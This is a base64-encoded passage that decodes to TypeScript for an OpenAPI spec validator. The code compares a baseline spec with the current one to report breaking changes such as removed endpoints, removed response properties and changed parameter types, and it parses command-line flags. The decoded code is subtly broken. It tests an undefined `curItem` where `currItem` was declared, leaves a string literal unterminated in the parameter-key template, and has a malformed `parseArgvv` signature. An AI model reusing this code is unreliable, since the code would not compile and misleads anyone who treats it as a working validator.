zdGVkLnByb3BlcnRpZXMgfHwgbmVzdGVkLmFsbE9mKSkgewogICAgICAgIGNvbGxlY3RSZXNwb25zZVByb3BlcnRpZXMoc3BlYywgbmVzdGVkLCBwYXRoLCBvdXQsIHZpc2l0ZWQpOwogICAgICB9CiAgICB9CiAgfQp9CgpmdW5jdGlvbiBjb2xsZWN0UmVxdWVzdEJvZHlQcm9wZXJ0aWVzKAogIHNwZWM6IGFueSwKICBzY2hlbWE6IGFueSwKICBwcmVmaXg6IHN0cmluZywKICBvdXQ6IE1hcDxzdHJpbmcsIHN0cmluZz4sCiAgdmlzaXRlZDogU2V0PHN0cmluZz4sCik6IHZvaWQgewogIGNvbnN0IHJlc29sdmVkID0gZ2V0UmVzb2x2ZWRTY2hlbWEoc3BlYywgc2NoZW1hKTsKICBpZiAoIXJlc29sdmVkKSB7CiAgICByZXR1cm47CiAgfQoKICBpZiAocmVzb2x2ZWQuJHJlZikgewogICAgaWYgKHZpc2l0ZWQuaGFzKHJlc29sdmVkLiRyZWYpKSB7CiAgICAgIHJldHVybjsKICAgIH0KICAgIHZpc2l0ZWQuYWRkKHJlc29sdmVkLiRyZWYpOwogIH0KCiAgaWYgKHJlc29sdmVkLmFsbE9mKSB7CiAgICBmb3IgKGNvbnN0IHBhcnQgb2YgcmVzb2x2ZWQuYWxsT2YpIHsKICAgICAgY29sbGVjdFJlcXVlc3RCb2R5UHJvcGVydGllcyhzcGVjLCBwYXJ0LCBwcmVmaXgsIG91dCwgdmlzaXRlZCk7CiAgICB9CiAgfQoKICBpZiAocmVzb2x2ZWQucHJvcGVydGllcykgewogICAgZm9yIChjb25zdCBba2V5LCB2YWx1ZV0gb2YgT2JqZWN0LmVudHJpZXMocmVzb2x2ZWQucHJvcGVydGllcyBhcyBSZWNvcmQ8c3RyaW5nLCBhbnk+KSkgewogICAgICBjb25zdCBwYXRoID0gcHJlZml4ID8gYCR7cHJlZml4fS4ke2tleX1gIDoga2V5OwogICAgICBvdXQuc2V0KHBhdGgsIGRlc2NyaWJlU2NoZW1hKHZhbHVlKSk7CiAgICAgIGNvbnN0IG5lc3RlZCA9IGdldFJlc29sdmVkU2NoZW1hKHNwZWMsIHZhbHVlKTsKICAgICAgaWYgKG5lc3RlZCAmJiAobmVzdGVkLnByb3BlcnRpZXMgfHwgbmVzdGVkLmFsbE9mKSkgewogICAgICAgIGNvbGxlY3RSZXF1ZXN0Qm9keVByb3BlcnRpZXMoc3BlYywgbmVzdGVkLCBwYXRoLCBvdXQsIHZpc2l0ZWQpOwogICAgICB9CiAgICB9CiAgfQp9CgpmdW5jdGlvbiBjb2xsZWN0UmVxdWVzdEJvZHlSZXF1aXJlZCgKICBzcGVjOiBhbnksCiAgc2NoZW1hOiBhbnksCiAgcHJlZml4OiBzdHJpbmcsCiAgb3V0OiBNYXA8c3RyaW5nLCBzdHJpbmc+LAogIHZpc2l0ZWQ6IFNldDxzdHJpbmc+LAopOiB2b2lkIHsKICBjb25zdCByZXNvbHZlZCA9IGdldFJlc29sdmVkU2NoZW1hKHNwZWMsIHNjaGVtYSk7CiAgaWYgKCFyZXNvbHZlZCkgewogICAgcmV0dXJuOwogIH0KCiAgaWYgKHJlc29sdmVkLiRyZWYpIHsKICAgIGlmICh2aXNpdGVkLmhhcyhyZXNvbHZlZC4kcmVmKSkgewogICAgICByZXR1cm47CiAgICB9CiAgICB2aXNpdGVkLmFkZChyZXNvbHZlZC4kcmVmKTsKICB9CgogIGlmIChyZXNvbHZlZC5hbGxPZikgewogICAgZm9yIChjb25zdCBwYXJ0IG9mIHJlc29sdmVkLmFsbE9mKSB7CiAgICAgIGNvbGxlY3RSZXF1ZXN0Qm9keVJlcXVpcmVkKHNwZWMsIHBhcnQsIHByZWZpeCwgb3V0LCB2aXNpdGVkKTsKICAgIH0KICB9CgogIGlmIChyZXNvbHZlZC5wcm9wZXJ0aWVzKSB7CiAgICBjb25zdCByZXF1aXJlZDogc3RyaW5nW10gPSBBcnJheS5pc0FycmF5KHJlc29sdmVkLnJlcXVpcmVkKQogICAgICA/IHJlc29sdmVkLnJlcXVpcmVkCiAgICAgIDogW107CiAgICBmb3IgKGNvbnN0IFtrZXksIHZhbHVlXSBvZiBPYmplY3QuZW50cmllcyhyZXNvbHZlZC5wcm9wZXJ0aWVzIGFzIFJlY29yZDxzdHJpbmcsIGFueT4pKSB7CiAgICAgIGNvbnN0IHBhdGggPSBwcmVmaXggPyBgJHtwcmVmaXh9LiR7a2V5fWAgOiBrZXk7CiAgICAgIGlmIChyZXF1aXJlZC5pbmNsdWRlcyhrZXkpKSB7CiAgICAgICAgb3V0LnNldChwYXRoLCBkZXNjcmliZVNjaGVtYSh2YWx1ZSkpOwogICAgICB9CiAgICAgIGNvbnN0IG5lc3RlZCA9IGdldFJlc29sdmVkU2NoZW1hKHNwZWMsIHZhbHVlKTsKICAgICAgaWYgKG5lc3RlZCAmJiAobmVzdGVkLnByb3BlcnRpZXMgfHwgbmVzdGVkLmFsbE9mKSkgewogICAgICAgIGNvbGxlY3RSZXF1ZXN0Qm9keVJlcXVpcmVkKHNwZWMsIG5lc3RlZCwgcGF0aCwgb3V0LCB2aXNpdGVkKTsKICAgICAgfQogICAgfQogIH0KfQoKZnVuY3Rpb24gY29sbGVjdFJlc3BvbnNlU3RhdHVzZXMob3BlcmF0aW9uOiBhbnkpOiBNYXA8c3RyaW5nLCBhbnk+IHsKICBjb25zdCBvdXQgPSBuZXcgTWFwPHN0cmluZywgYW55PigpOwogIGZvciAoY29uc3QgW3N0YXR1cywgcmVzcG9uc2VdIG9mIE9iamVjdC5lbnRyaWVzKAogICAgKG9wZXJhdGlvbi5yZXNwb25zZXMgfHwge30pIGFzIFJlY29yZDxzdHJpbmcsIGFueT4sCiAgKSkgewogICAgb3V0LnNldChTdHJpbmcoc3RhdHVzKSwgcmVzcG9uc2UpOwogIH0KICByZXR1cm4gb3V0Owp9CgpmdW5jdGlvbiBjb2xsZWN0UGFyYW1ldGVycyhvcGVyYXRpb246IGFueSk6IE1hcDxzdHJpbmcsIGFueT4gewogIGNvbnN0IG91dCA9IG5ldyBNYXA8c3RyaW5nLCBhbnk+KCk7CiAgY29uc3QgcGFyYW1zID0gQXJyYXkuaXNBcnJheShvcGVyYXRpb24ucGFyYW1ldGVycykKICAgID8gb3BlcmF0aW9uLnBhcmFtZXRlcnMKICAgIDogW107CiAgZm9yIChjb25zdCBwYXJhbSBvZiBwYXJhbXMpIHsKICAgIGlmICghcGFyYW0gfHwgIXBhcmFtLm5hbWUpIHsKICAgICAgY29udGludWU7CiAgICB9CiAgICBjb25zdCBrZXkgPSBgJHtwYXJhbS5pbiB8fCAicXVlcnl9OiR7cGFyYW0ubmFtZX1gOwogICAgb3V0LnNldChrZXksIHBhcmFtKTsKICB9CiAgcmV0dXJuIG91dDsKfQoKZXhwb3J0IGZ1bmN0aW9uIGRldGVjdEJyZWFraW5nQ2hhbmdlcygKICBiYXNlbGluZTogT3BlbkFQSU9iamVjdCB8IG51bGwsCiAgY3VycmVudDogT3BlbkFQSU9iamVjdCwKKTogQnJlYWtpbmdDaGFuZ2VbXSB7CiAgY29uc3QgY2hhbmdlczogQnJlYWtpbmdDaGFuZ2VbXSA9IFtdOwoKICBpZiAoIWJhc2VsaW5lKSB7CiAgICByZXR1cm4gY2hhbmdlczsKICB9CgogIGNvbnN0IGJhc2VQYXRocyA9IChiYXNlbGluZS5wYXRocyB8fCB7fSkgYXMgUmVjb3JkPHN0cmluZywgYW55PjsKICBjb25zdCBjdXJyUGF0aHMgPSAoY3VycmVudC5wYXRocyB8fCB7fSkgYXMgUmVjb3JkPHN0cmluZywgYW55PjsKCiAgZm9yIChjb25zdCBbcGF0aCwgYmFzZUl0ZW1dIG9mIE9iamVjdC5lbnRyaWVzKGJhc2VQYXRocykpIHsKICAgIGNvbnN0IGN1cnJJdGVtID0gY3VyclBhdGhzW3BhdGhdOwogICAgaWYgKCFjdXJJdGVtKSB7CiAgICAgIGNoYW5nZXMucHVzaCh7CiAgICAgICAga2luZDogInJlbW92ZWQtZW5kcG9pbnQiLAogICAgICAgIGxvY2F0aW9uOiBwYXRoLAogICAgICAgIG1lc3NhZ2U6IGBFbmRwb2ludCAke3BhdGh9IHdhcyByZW1vdmVkYCwKICAgICAgfSk7CiAgICAgIGNvbnRpbnVlOwogICAgfQoKICAgIGZvciAoY29uc3QgbWV0aG9kIG9mIEhUVFBfTUVUSE9EUykgewogICAgICBjb25zdCBiYXNlT3AgPSBiYXNlSXRlbVttZXRob2RdOwogICAgICBpZiAoIWJhc2VPcCkgewogICAgICAgIGNvbnRpbnVlOwogICAgICB9CiAgICAgIGNvbnN0IGN1cnJPcCA9IGN1cnJJdGVtW21ldGhvZF07CiAgICAgIGNvbnN0IGxvY2F0aW9uID0gYCR7bWV0aG9kLnRvVXBwZXJDYXNlKCl9ICR7cGF0aH1gOwogICAgICBpZiAoIWN1cnJPcCkgewogICAgICAgIGNoYW5nZXMucHVzaCh7CiAgICAgICAgICBraW5kOiAicmVtb3ZlZC1tZXRob2QiLAogICAgICAgICAgbG9jYXRpb24sCiAgICAgICAgICBtZXNzYWdlOiBgTWV0aG9kICR7bWV0aG9kLnRvVXBwZXJDYXNlKCl9ICR7cGF0aH0gd2FzIHJlbW92ZWRgLAogICAgICAgIH0pOwogICAgICAgIGNvbnRpbnVlOwogICAgICB9CgogICAgICAvLyBSZXNwb25zZSBzdGF0dXMgY29kZXMKICAgICAgY29uc3QgYmFzZVJlc3BvbnNlcyA9IGNvbGxlY3RSZXNwb25zZVN0YXR1c2VzKGJhc2VPcCk7CiAgICAgIGNvbnN0IGN1cnJSZXNwb25zZXMgPSBjb2xsZWN0UmVzcG9uc2VTdGF0dXNlcyhjdXJyT3ApOwogICAgICBmb3IgKGNvbnN0IFtzdGF0dXMsIGJhc2VSZXNwb25zZV0gb2YgYmFzZVJlc3BvbnNlcykgewogICAgICAgIGNvbnN0IGN1cnJSZXNwb25zZSA9IGN1cnJSZXNwb25zZXMuZ2V0KHN0YXR1cyk7CiAgICAgICAgaWYgKCFjdXJyUmVzcG9uc2UpIHsKICAgICAgICAgIGNoYW5nZXMucHVzaCh7CiAgICAgICAgICAgIGtpbmQ6ICJyZW1vdmVkLXJlc3BvbnNlLXN0YXR1cyIsCiAgICAgICAgICAgIGxvY2F0aW9uOiBgJHtsb2NhdGlvbn0gLT4gJHtzdGF0dXN9YCwKICAgICAgICAgICAgbWVzc2FnZTogYFJlc3BvbnNlIHN0YXR1cyAke3N0YXR1c30gd2FzIHJlbW92ZWQgZnJvbSAke2xvY2F0aW9ufWAsCiAgICAgICAgICB9KTsKICAgICAgICAgIGNvbnRpbnVlOwogICAgICAgIH0KCiAgICAgICAgY29uc3QgYmFzZVNjaGVtYSA9IGJhc2VSZXNwb25zZS5jb250ZW50Py5bImFwcGxpY2F0aW9uL2pzb24iXT8uc2NoZW1hOwogICAgICAgIGNvbnN0IGN1cnJTY2hlbWEgPSBjdXJyUmVzcG9uc2UuY29udGVudD8uWyJhcHBsaWNhdGlvbi9qc29uIl0/LnNjaGVtYTsKICAgICAgICBpZiAoIWJhc2VTY2hlbWEpIHsKICAgICAgICAgIGNvbnRpbnVlOwogICAgICAgIH0KICAgICAgICBpZiAoIWN1cnJTY2hlbWEpIHsKICAgICAgICAgIGNoYW5nZXMucHVzaCh7CiAgICAgICAgICAgIGtpbmQ6ICJyZW1vdmVkLXJlc3BvbnNlLXByb3BlcnR5IiwKICAgICAgICAgICAgbG9jYXRpb246IGAke2xvY2F0aW9ufSAtPiAke3N0YXR1c30gYm9keWAsCiAgICAgICAgICAgIG1lc3NhZ2U6IGBSZXNwb25zZSBib2R5IHNjaGVtYSB3YXMgcmVtb3ZlZCBmb3IgJHtsb2NhdGlvbn0gKCR7c3RhdHVzfSlgLAogICAgICAgICAgfSk7CiAgICAgICAgICBjb250aW51ZTsKICAgICAgICB9CgogICAgICAgIGNvbnN0IGJhc2VQcm9wcyA9IG5ldyBNYXA8c3RyaW5nLCBzdHJpbmc+KCk7CiAgICAgICAgY29sbGVjdFJlc3BvbnNlUHJvcGVydGllcygKICAgICAgICAgIGJhc2VsaW5lIGFzIGFueSwKICAgICAgICAgIGJhc2VTY2hlbWEsCiAgICAgICAgICAiIiwKICAgICAgICAgIGJhc2VQcm9wcywKICAgICAgICAgIG5ldyBTZXQoKSwKICAgICAgICApOwogICAgICAgIGNvbnN0IGN1cnJQcm9wcyA9IG5ldyBNYXA8c3RyaW5nLCBzdHJpbmc+KCk7CiAgICAgICAgY29sbGVjdFJlc3BvbnNlUHJvcGVydGllcygKICAgICAgICAgIGN1cnJlbnQgYXMgYW55LAogICAgICAgICAgY3VyclNjaGVtYSwKICAgICAgICAgICIiLAogICAgICAgICAgY3VyclByb3BzLAogICAgICAgICAgbmV3IFNldCgpLAogICAgICAgICk7CgogICAgICAgIGZvciAoY29uc3QgW3Byb3AsIGJhc2VUeXBlXSBvZiBiYXNlUHJvcHMpIHsKICAgICAgICAgIGNvbnN0IGN1cnJUeXBlID0gY3VyclByb3BzLmdldChwcm9wKTsKICAgICAgICAgIGlmIChjdXJyVHlwZSA9PT0gdW5kZWZpbmVkKSB7CiAgICAgICAgICAgIGNoYW5nZXMucHVzaCh7CiAgICAgICAgICAgICAga2luZDogInJlbW92ZWQtcmVzcG9uc2UtcHJvcGVydHkiLAogICAgICAgICAgICAgIGxvY2F0aW9uOiBgJHtsb2NhdGlvbn0gLT4gJHtzdGF0dXN9IC0+ICR7cHJvcH1gLAogICAgICAgICAgICAgIG1lc3NhZ2U6IGBSZXNwb25zZSBwcm9wZXJ0eSAke3Byb3B9IHdhcyByZW1vdmVkIGZyb20gJHtsb2NhdGlvbn0gKCR7c3RhdHVzfSlgLAogICAgICAgICAgICB9KTsKICAgICAgICAgIH0gZWxzZSBpZiAoY3VyclR5cGUgIT09IGJhc2VUeXBlKSB7CiAgICAgICAgICAgIGNoYW5nZXMucHVzaCh7CiAgICAgICAgICAgICAga2luZDogImNoYW5nZWQtcHJvcGVydHktdHlwZSIsCiAgICAgICAgICAgICAgbG9jYXRpb246IGAke2xvY2F0aW9ufSAtPiAke3N0YXR1c30gLT4gJHtwcm9wfWAsCiAgICAgICAgICAgICAgbWVzc2FnZTogYFJlc3BvbnNlIHByb3BlcnR5ICR7cHJvcH0gdHlwZSBjaGFuZ2VkIGZyb20gJyR7YmFzZVR5cGV9JyB0byAnJHtjdXJyVHlwZX0nIGluICR7bG9jYXRpb259ICgke3N0YXR1c30pYCwKICAgICAgICAgICAgfSk7CiAgICAgICAgICB9CiAgICAgICAgfQogICAgICB9CgogICAgICAvLyBQYXJhbWV0ZXJzCiAgICAgIGNvbnN0IGJhc2VQYXJhbXMgPSBjb2xsZWN0UGFyYW1ldGVycyhiYXNlT3ApOwogICAgICBjb25zdCBjdXJyUGFyYW1zID0gY29sbGVjdFBhcmFtZXRlcnMoY3Vyck9wKTsKICAgICAgZm9yIChjb25zdCBba2V5LCBiYXNlUGFyYW1dIG9mIGJhc2VQYXJhbXMpIHsKICAgICAgICBjb25zdCBjdXJyUGFyYW0gPSBjdXJyUGFyYW1zLmdldChrZXkpOwogICAgICAgIGlmICghY3VyclBhcmFtKSB7CiAgICAgICAgICBpZiAoYmFzZVBhcmFtLmluID09PSAicGF0aCIpIHsKICAgICAgICAgICAgY2hhbmdlcy5wdXNoKHsKICAgICAgICAgICAgICBraW5kOiAicmVtb3ZlZC1wYXRoLXBhcmFtZXRlciIsCiAgICAgICAgICAgICAgbG9jYXRpb246IGAke2xvY2F0aW9ufSAtPiAke2tleX1gLAogICAgICAgICAgICAgIG1lc3NhZ2U6IGBQYXRoIHBhcmFtZXRlciAke2Jhc2VQYXJhbS5uYW1lfSB3YXMgcmVtb3ZlZCBmcm9tICR7bG9jYXRpb259YCwKICAgICAgICAgICAgfSk7CiAgICAgICAgICB9CiAgICAgICAgICBjb250aW51ZTsKICAgICAgICB9CiAgICAgICAgY29uc3QgYmFzZVR5cGUgPSBub3JtYWxpemVUeXBlKGJhc2VQYXJhbS5zY2hlbWE/LnR5cGUpOwogICAgICAgIGNvbnN0IGN1cnJUeXBlID0gbm9ybWFsaXplVHlwZShjdXJyUGFyYW0uc2NoZW1hPy50eXBlKTsKICAgICAgICBpZiAoYmFzZVR5cGUgIT09IGN1cnJUeXBlKSB7CiAgICAgICAgICBjaGFuZ2VzLnB1c2goewogICAgICAgICAgICBraW5kOiAiY2hhbmdlZC1wYXJhbWV0ZXItdHlwZSIsCiAgICAgICAgICAgIGxvY2F0aW9uOiBgJHtsb2NhdGlvbn0gLT4gJHtrZXl9YCwKICAgICAgICAgICAgbWVzc2FnZTogYFBhcmFtZXRlciAke2Jhc2VQYXJhbS5uYW1lfSB0eXBlIGNoYW5nZWQgZnJvbSAnJHtiYXNlVHlwZX0nIHRvICcke2N1cnJUeXBlfScgaW4gJHtsb2NhdGlvbn1gLAogICAgICAgICAgfSk7CiAgICAgICAgfQogICAgICB9CgogICAgICBmb3IgKGNvbnN0IFtrZXksIGN1cnJQYXJhbV0gb2YgY3VyclBhcmFtcykgewogICAgICAgIGlmIChiYXNlUGFyYW1zLmhhcyhrZXkpKSB7CiAgICAgICAgICBjb250aW51ZTsKICAgICAgICB9CiAgICAgICAgaWYgKGN1cnJQYXJhbS5yZXF1aXJlZCA9PT0gdHJ1ZSkgewogICAgICAgICAgY2hhbmdlcy5wdXNoKHsKICAgICAgICAgICAga2luZDogImFkZGVkLXJlcXVpcmVkLXJlcXVlc3QtcGFyYW1ldGVyIiwKICAgICAgICAgICAgbG9jYXRpb246IGAke2xvY2F0aW9ufSAtPiAke2tleX1gLAogICAgICAgICAgICBtZXNzYWdlOiBgUmVxdWlyZWQgcGFyYW1ldGVyICR7Y3VyclBhcmFtLm5hbWV9ICgke2N1cnJQYXJhbS5pbn0pIHdhcyBhZGRlZCB0byAke2xvY2F0aW9ufWAsCiAgICAgICAgICB9KTsKICAgICAgICB9CiAgICAgIH0KCiAgICAgIC8vIFJlcXVlc3QgYm9keSByZXF1aXJlZCBwcm9wZXJ0aWVzCiAgICAgIGNvbnN0IGJhc2VSZXF1ZXN0U2NoZW1hID0KICAgICAgICBiYXNlT3AucmVxdWVzdEJvZHk/LmNvbnRlbnQ/LlsiYXBwbGljYXRpb24vanNvbiJdPy5zY2hlbWE7CiAgICAgIGNvbnN0IGN1cnJSZXF1ZXN0U2NoZW1hID0KICAgICAgICBjdXJyT3AucmVxdWVzdEJvZHk/LmNvbnRlbnQ/LlsiYXBwbGljYXRpb24vanNvbiJdPy5zY2hlbWE7CiAgICAgIGlmIChjdXJyUmVxdWVzdFNjaGVtYSkgewogICAgICAgIGNvbnN0IGJhc2VSZXF1aXJlZCA9IG5ldyBNYXA8c3RyaW5nLCBzdHJpbmc+KCk7CiAgICAgICAgaWYgKGJhc2VSZXF1ZXN0U2NoZW1hKSB7CiAgICAgICAgICBjb2xsZWN0UmVxdWVzdEJvZHlSZXF1aXJlZCgKICAgICAgICAgICAgYmFzZWxpbmUgYXMgYW55LAogICAgICAgICAgICBiYXNlUmVxdWVzdFNjaGVtYSwKICAgICAgICAgICAgIiIsCiAgICAgICAgICAgIGJhc2VSZXF1aXJlZCwKICAgICAgICAgICAgbmV3IFNldCgpLAogICAgICAgICAgKTsKICAgICAgICB9CiAgICAgICAgY29uc3QgY3VyclJlcXVpcmVkID0gbmV3IE1hcDxzdHJpbmcsIHN0cmluZz4oKTsKICAgICAgICBjb2xsZWN0UmVxdWVzdEJvZHlSZXF1aXJlZCgKICAgICAgICAgIGN1cnJlbnQgYXMgYW55LAogICAgICAgICAgY3VyclJlcXVlc3RTY2hlbWEsCiAgICAgICAgICAiIiwKICAgICAgICAgIGN1cnJSZXF1aXJlZCwKICAgICAgICAgIG5ldyBTZXQoKSwKICAgICAgICApOwogICAgICAgIGZvciAoY29uc3QgW3Byb3AsIHR5cGVdIG9mIGN1cnJSZXF1aXJlZCkgewogICAgICAgICAgaWYgKCFiYXNlUmVxdWlyZWQuaGFzKHByb3ApKSB7CiAgICAgICAgICAgIGNoYW5nZXMucHVzaCh7CiAgICAgICAgICAgICAga2luZDogImFkZGVkLXJlcXVpcmVkLXJlcXVlc3QtYm9keS1wcm9wZXJ0eSIsCiAgICAgICAgICAgICAgbG9jYXRpb246IGAke2xvY2F0aW9ufSAtPiByZXF1ZXN0Qm9keSAtPiAke3Byb3B9YCwKICAgICAgICAgICAgICBtZXNzYWdlOiBgUmVxdWlyZWQgcmVxdWVzdCBib2R5IHByb3BlcnR5ICR7cHJvcH0gKCR7dHlwZX0pIHdhcyBhZGRlZCB0byAke2xvY2F0aW9ufWAsCiAgICAgICAgICAgIH0pOwogICAgICAgICAgfQogICAgICAgIH0KICAgICAgfQogICAgfQogIH0KCiAgcmV0dXJuIGNoYW5nZXM7Cn0KCmZ1bmN0aW9uIHBhcnNlQXJndnY6IHsgYWxsb3dCcmVha2luZ0NoYW5nZXM6IGJvb2xlYW47IGJhc2VsaW5lUmVmPzogc3RyaW5nIH0gewogIGNvbnN0IGFyZ3YgPSBwcm9jZXNzLmFyZ3Yuc2xpY2UoMik7CiAgY29uc3Qgb3B0aW9ucyA9IHsgYWxsb3dCcmVha2luZ0NoYW5nZXM6IGZhbHNlIGFzIGJvb2xlYW4sIGJhc2VsaW5lUmVmOiB1bmRlZmluZWQgYXMgc3RyaW5nIHwgdW5kZWZpbmVkIH07CiAgZm9yIChsZXQgaSA9IDA7IGkgPCBhcmd2Lmxlbmd0aDsgaSsrKSB7CiAgICBjb25zdCBhcmcgPSBhcmd2W2ldOwogICAgaWYgKGFyZyA9PT0gIi0tYWxsb3ctYnJlYWtpbmctY2hhbmdlcyIpIHsKICAgICAgb3B0aW9ucy5hbGxvd0JyZWFraW5nQ2hhbmdlcyA9IHRydWU7CiAgICB9IGVsc2UgaWYgKGFyZyA9PT0gIi0tYmFzZWxpbmUiICYmIGFyZ3ZbaSArIDFdKSB7CiAgICAgIG9wdGlvbnMuYmFzZWxpbmVSZWYgPSBhcmd2WysraV07CiAgICB9IGVsc2UgaWYgKGFyZy5zdGFydHNXaXRoKCItLWJhc2VsaW5lPSIpKSB7CiAgICAgIG9wdGlvbnMuYmFzZWxpbmVSZWYgPSBhcmcuc3Vic3RyaW5nKCItLWJhc2VsaW5lPSIubGVuZ3RoKTsKICAgIH0KICB9CiAgcmV0dXJuIG9wdGlvbnM7Cn0KCmFzeW5jIGZ1bmN0aW9uIHZhbGlkYXRlT3BlbkFQSSgKICBvcHRpb25zOiBDb21wYXJlT3B0aW9ucyA9IHt9LAopOiBQcm9taXNlPFZhbGlkYXRpb25SZXN1bHQ+IHsKICBjb25zdCByZXN1bHQ6IFZhbGlkYXRpb25SZXN1bHQgPSB7CiAgICB2YWxpZDogdHJ1ZSwKICAgIGVycm9yczogW10sCiAgICB3YXJuaW5nczogW10sCiAgICBicmVha2luZ0NoYW5nZXM6IFtdLAogICAgc3RhdHM6IHsKICAgICAgZW5kcG9pbnRzOiAwLAogICAgICBzY2hlbWFzOiAwLAogICAgICB0YWdzOiAwLAogICAgICBzZWN1cml0eVNjaGVtZXM6IDAsCiAgICB9LAogIH07CgogIHRyeSB7CiAgICBjb25zdCBzcGVjUGF0aCA9IGpvaW4oX19kaXJuYW1lLCAiLi4iLCAiZG9jcyIsICJvcGVuYXBpLmpzb24iKTsKCiAgICBpZiAoIWV4aXN0c1N5bmMoc3BlY1BhdGgpKSB7CiAgICAgIGNvbnNvbGUubG9nKCLwn5OdIEdlbmVyYXRpbmcgT3BlbkFQSSBzcGVjIGZpcnN0Li4uIik7CiAgICAgIGF3YWl0IGdlbmVyYXRlT3BlbkFQSVNwZWMoKTsKICAgIH0KCiAgICBjb25zdCBzcGVjQ29udGVudCA9IHJlYWRGaWxlU3luYyhzcGVjUGF0aCwgInV0Zi04Iik7CiAgICBjb25zdCBzcGVjOiBPcGVuQVBJT2JqZWN0ID0gSlNPTi5wYXJzZShzcGVjQ29udGVudCk7CgogICAgY29uc29sZS5sb2coIlxu8J+UjSBWYWxpZGF0aW5nIE9wZW5BUEkgU3BlY2lmaWNhdGlvblxuIik7CgogICAgaWYgKCFzcGVjLm9wZW5hcGkpIHsKICAgICAgcmVzdWx0LmVycm9ycy5wdXNoKCJNaXNzaW5nIG9wZW5hcGkgdmVyc2lvbiIpOwogICAgfQogICAgaWYgKCFzcGVjLmluZm8pIHsKICAgICAgcmVzdWx0LmVycm9ycy5wdXNoKCJNaXNzaW5nIGluZm8gb2JqZWN0Iik7CiAgICB9CiAgICBpZiAoIXNwZWMucGF0aHMpIHsKICAgICAgcmVzdWx0LmVycm9ycy5wdXNoKCJNaXNzaW5nIHBhdGhzIG9iamVjdCIpOwogICAgfQoKICAgIHJlc3VsdC5zdGF0cy5lbmRwb2ludHMgPSBPYmplY3Qua2V5cyhzcGVjLnBhdGhzIHx8IHt9KS5sZW5ndGg7CiAgICByZXN1bHQuc3RhdHMuc2NoZW1hcyA9IE9iamVjdC5rZXlzKHNwZWMuY29tcG9uZW50cz8uc2NoZW1hcyB8fCB7fSkubGVuZ3RoOwogICAgcmVzdWx0LnN0YXRzLnRhZ3MgPSBzcGVjLnRhZ3M/Lmxlbmd0aCB8fCAwOwogICAgcmVzdWx0LnN0YXRzLnNlY3VyaXR5U2NoZW1lcyA9IE9iamVjdC5rZXlzKAogICAgICBzcGVjLmNvbXBvbmVudHM/LnNlY3VyaXR5U2NoZW1lcyB8fCB7fSwKICAgICkubGVuZ3RoOwoKICAgIGNvbnN0IHJlcXVpcmVkVGFncyA9IFsiSGVhbHRoIiwgIkF1dGhlbnRpY2F0aW9uIiwgIlVzZXJzIiwgIk9yYWNsZSJdOwogICAgY29uc3QgZXhpc3RpbmdUYWdzID0gKHNwZWMudGFncyB8fCBbXSkubWFwKCh0OiBhbnkpID0+IHQubmFtZSk7CgogICAgZm9yIChjb25zdCB0YWcgb2YgcmVxdWlyZWRUYWdzKSB7CiAgICAgIGlmICghZXhpc3RpbmdUYWdzLmluY2x1ZGVzKHRhZykpIHsKICAgICAgICByZXN1bHQud2FybmluZ3MucHVzaChgTWlzc2luZyByZWNvbW1lbmRlZCB0YWc6ICR7dGFnfWApOwogICAgICB9CiAgICB9CgogICAgY29uc3Qgc2VjdXJpdHlTY2hlbWVzID0gc3BlYy5jb21wb25lbnRzPy5zZWN1cml0eVNjaGVtZXMgfHwge307CiAgICBpZiAoIXNlY3VyaXR5U2NoZW1lc1siSldULWF1dGgiXSkgewogICAgICByZXN1bHQud2FybmluZ3MucHVzaCgiTWlzc2luZyBKV1Qgc2VjdXJpdHkgc2NoZW1lIChKV1QtYXV0aCkiKTsKICAgIH0KICAgIGlmICghc2VjdXJpdHlTY2hlbWVzWyJhcGkta2V5Il0pIHsKICAgICAgcmVzdWx0Lndhcm5pbmdzLnB1c2goIk1pc3NpbmcgQVBJIGtleSBzZWN1cml0eSBzY2hlbWUiKTsKICAgIH0KCiAgICBpZiAoIXNwZWMuc2VydmVycyB8fCBzcGVjLnNlcnZlcnMubGVuZ3RoID09PSAwKSB7CiAgICAgIHJlc3VsdC53YXJuaW5ncy5wdXNoKCJObyBzZXJ2ZXJzIGRlZmluZWQgaW4gc3BlYyIpOwogICAgfQoKICAgIGxldCB1bmRvY3VtZW50ZWRFbmRwb2ludHMgPSAwOwoKICAgIGZvciAoY29uc3QgW3BhdGgsIHBhdGhJdGVtXSBvZiBPYmplY3QuZW50cmllcyhzcGVjLnBhdGhzIHx8IHt9KSkgewogICAgICBmb3IgKGNvbnN0IFttZXRob2QsIG9wZXJhdGlvbl0gb2YgT2JqZWN0LmVudHJpZXMocGF0aEl0ZW0gYXMgYW55KSkgewogICAgICAgIGlmICgKICAgICAgICAgIFsiZ2V0IiwgInBvc3QiLCAicHV0IiwgImRlbGV0ZSIsICJwYXRjaCIsICJvcHRpb25zIl0uaW5jbHVkZXMobWV0aG9kKQogICAgICAgICkgewogICAgICAgICAgaWYgKCFvcGVyYXRpb24uc3VtbWFyeSkgewogICAgICAgICAgICB1bmRvY3VtZW50ZWRFbmRwb2ludHMrKzsKICAgICAgICAgIH0KCiAgICAgICAgICBpZiAoIW9wZXJhdGlvbi5yZXNwb25zZXMpIHsKICAgICAgICAgICAgcmVzdWx0Lndhcm5pbmdzLnB1c2goCiAgICAgICAgICAgICAgYE1pc3NpbmcgcmVzcG9uc2VzIGZvciAke21ldGhvZC50b1VwcGVyQ2FzZSgpfSAke3BhdGh9YCwKICAgICAgICAgICAgKTsKICAgICAgICAgIH0KICAgICAgICB9CiAgICAgIH0KICAgIH0KCiAgICBpZiAodW5kb2N1bWVudGVkRW5kcG9pbnRzID4gMCkgewogICAgICByZXN1bHQud2FybmluZ3MucHVzaCgKICAgICAgICBgJHt1bmRvY3VtZW50ZWRFbmRwb2ludHN9IGVuZHBvaW50cyBtaXNzaW5nIHN1bW1hcnkgZG9jdW1lbnRhdGlvbmAsCiAgICAgICk7CiAgICB9CgogICAgLy8gQnJlYWtpbmcgY2hhbmdlIGRldGVjdGlvbiBhZ2FpbnN0IHRoZSBnaXQgYmFzZWxpbmUKICAgIGNvbnN0IGJhc2VsaW5lID0gcmVzb2x2ZUJhc2VsaW5lU3BlYyhvcHRpb25zLmJhc2VsaW5lUmVmKTsKICAgIGlmIChiYXNlbGluZSkgewogICAgICBjb25zdCBicmVha2luZ0NoYW5nZXMgPSBkZXRlY3RCcmVha2luZ0NoYW5nZXMoYmFzZWxpbmUsIHNwZWMpOwogICAgICByZXN1bHQuYnJlYWtpbmdDaGFuZ2VzID0gYnJlYWtpbmdDaGFuZ2VzOwoKICAgICAgaWYgKGJyZWFraW5nQ2hhbmdlcy5sZW5ndGggPiA